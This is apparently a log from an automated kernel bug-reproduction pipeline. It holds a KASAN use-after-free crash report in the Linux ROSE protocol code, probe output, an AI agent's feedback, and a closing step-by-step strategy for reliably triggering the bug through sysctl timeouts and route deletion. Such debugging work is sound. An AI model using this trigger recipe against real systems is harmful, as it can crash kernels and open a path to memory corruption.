head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

IsProbe: true
Reproduced: false
Console Output: [  120.102615][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  120.102631][   T33] audit: type=1400 audit(1779795707.670:106): avc:  denied  { create } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.122596][   T33] audit: type=1400 audit(1779795707.670:107): avc:  denied  { write open } for  pid=6027 comm="dhcpcd-run-hook" path="/run/dhcpcd/hook-state/resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.142598][   T33] audit: type=1400 audit(1779795707.670:108): avc:  denied  { append } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.163130][   T33] audit: type=1400 audit(1779795707.680:109): avc:  denied  { getattr } for  pid=6027 comm="dhcpcd-run-hook" path="/tmp/resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.181508][   T33] audit: type=1400 audit(1779795707.740:110): avc:  denied  { read } for  pid=6029 comm="cmp" name="resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.252733][   T33] audit: type=1400 audit(1779795707.820:111): avc:  denied  { unlink } for  pid=6030 comm="rm" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
Warning: Permanently added '[localhost]:34860' (ED25519) to the list of known hosts.
[  126.193788][ T6090] mkiss: ax0: crc mode is auto.
[  126.200830][   T33] audit: type=1400 audit(1779795713.770:112): avc:  denied  { create } for  pid=6090 comm="syz-executor110" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.

Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1866481479

<...>
Warning: Permanently added '[localhost]:65212' (ED25519) to the list of known hosts.
execve("/syz-executor1866481479", ["/syz-executor1866481479"], 0x7ffe9c667560 /* 11 vars */) = 0
brk(NULL)                               = 0x555569472000
brk(0x555569472d80)                     = 0x555569472d80
arch_prctl(ARCH_SET_FS, 0x555569472400) = 0
set_tid_address(0x5555694726d0)         = 6106
set_robust_list(0x5555694726e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1866481479", 4096) = 23
getrandom("\x02\x39\xc7\x34\xbb\xc1\xd2\x7e", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555569472d80
brk(0x555569493d80)                     = 0x555569493d80
brk(0x555569494000)                     = 0x555569494000
mprotect(0x7f93ff7e4000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  130.003267][ T6106] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  130.025939][   T33] audit: type=1400 audit(1779795873.843:106): avc:  denied  { create } for  pid=6106 comm="syz-executor186" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  130.041302][   T33] audit: type=1400 audit(1779795873.853:107): avc:  denied  { read } for  pid=5545 comm="dhcpcd" name="n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
write(1, "[*] Starting probe...\n[+] Opened /dev/ptmx.\n[+] Set TIOCSETD to N_AX25.\n[+] Created AF_ROSE socket.\n"..., 122) = 122
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.
[  130.054411][   T33] audit: type=1400 audit(1779795873.853:108): avc:  denied  { open } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
exit_group(0)                           = ?
[  130.070818][   T33] audit: type=1400 audit(1779795873.853:109): avc:  denied  { getattr } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
+++ exited with 0 +++
[  139.238486][ T1364] ieee802154 phy0 wpan0: encryption failed: -22
[  139.242649][ T1364] ieee802154 phy1 wpan1: encryption failed: -22

Crash Report: 

gemini-3.1-pro-preview

							input: 13222
							output: 93
							thoughts: 275
						

**Probe Result Analysis and Next Steps**

Okay, so I've just analyzed the results from the reproducer probe, and it looks like things are in good shape. The bug we're chasing is that `KASAN: slab-use-after-free Write in rose_send_frame`. The `IsProbe` flag is set to `true`, which means this was specifically designed to validate the setup. The console output confirms this; it clearly states that the probe started, went through the motions of setting up the environment (opening `/dev/ptmx`, configuring AX25, creating an AF_ROSE socket), and then declared itself successful. The `strace` output backs this up, showing the same successful setup followed by a clean `exit_group(0)`.

Since the probe was successful and `IsProbe` is indeed `true`, my next step is clear. I need to provide explicit feedback to the agent. Essentially, I need to communicate that the environment is ready and the agent can now proceed to the next iteration, which will involve generating the full reproducer.

I'll consult the instructions one more time for absolute clarity: "If 'IsProbe' is true: - If the execution was successful (all environment/subsystem probes passed), provide feedback explicitly indicating that the environment is ready and the agent should now proceed to generate the full reproducer in the next iteration." Yep, that's exactly what I'm going to do.

I'll call `set-results` with the feedback message, and I'll set `TitleMatches` to `false`. Honestly, for a probe, it doesn't really matter whether that flag is true or false, but false is safer in this situation. It's time to let the agent know we're ready for the main event!

map[Feedback:The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame. TitleMatches:false]

map[Feedback:The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame. TitleMatches:false]

map[ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame. ProbeSuccessful:true ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

map[OracleFeedback:The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame.]

gemini-3.1-pro-preview

You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Keep your reasoning short and focus on the next actionable change to the reproducer.
Analyze the technical diagnosis provided in the oracle feedback and translate it
into concrete, step-by-step instructions for the repro-generator on how to modify
the code structure, alignments, offsets, or parameters of the candidate program.
Do NOT repeat searches for the same symbols or files. Use the information you have already gathered.
If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Current Strategy: The bug is a Use-After-Free (UAF) in the ROSE protocol subsystem, specifically when handling timers for a `rose_neigh` (neighbour) object. 

### Root Cause Analysis
1. **Neighbour Creation & Timers**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created. It has two timers: `t0timer` and `ftimer`.
2. **Socket Connection**: When a ROSE socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame via `rose_transmit_link()`, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and calls `rose_remove_neigh()`, which explicitly stops the `t0timer` (`timer_delete_sync`). It then drops its reference to the neighbour. However, the socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` is called. Because the socket is still in the connecting state (`ROSE_STATE_1`), it sends a `ROSE_CLEAR_REQUEST` frame. This again calls `rose_transmit_link()`, which **restarts the `t0timer`** because it was previously stopped. `rose_release()` then starts the socket's `t3timer` and transitions to `ROSE_STATE_2`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If `t3timer` expires *before* `t0timer`, the socket's timer handler (`rose_timer_expiry`) drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Later, when `t0timer` expires, its handler (`rose_t0timer_expiry`) accesses the already freed `rose_neigh` object to send a restart request, causing the UAF write at `neigh->ax25` (offset 24).

### Reproduction Strategy
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` expires before `t0timer`.
1. Create an AX.25 device (`ax0`) using the `mkiss` line discipline and bring it up.
2. Bring up the default ROSE device (`rose0`) and assign it a hardware address.
3. Set `/proc/sys/net/rose/clear_request_timeout` to `1000` (1 second) and `restart_request_timeout` to `2000` (2 seconds).
4. Create a ROSE socket and `bind()` it to the `rose0` address.
5. Add a ROSE route pointing to `ax0`.
6. Call `connect()` on the socket in non-blocking mode (`O_NONBLOCK`).
7. Immediately delete the route.
8. `close()` the socket.
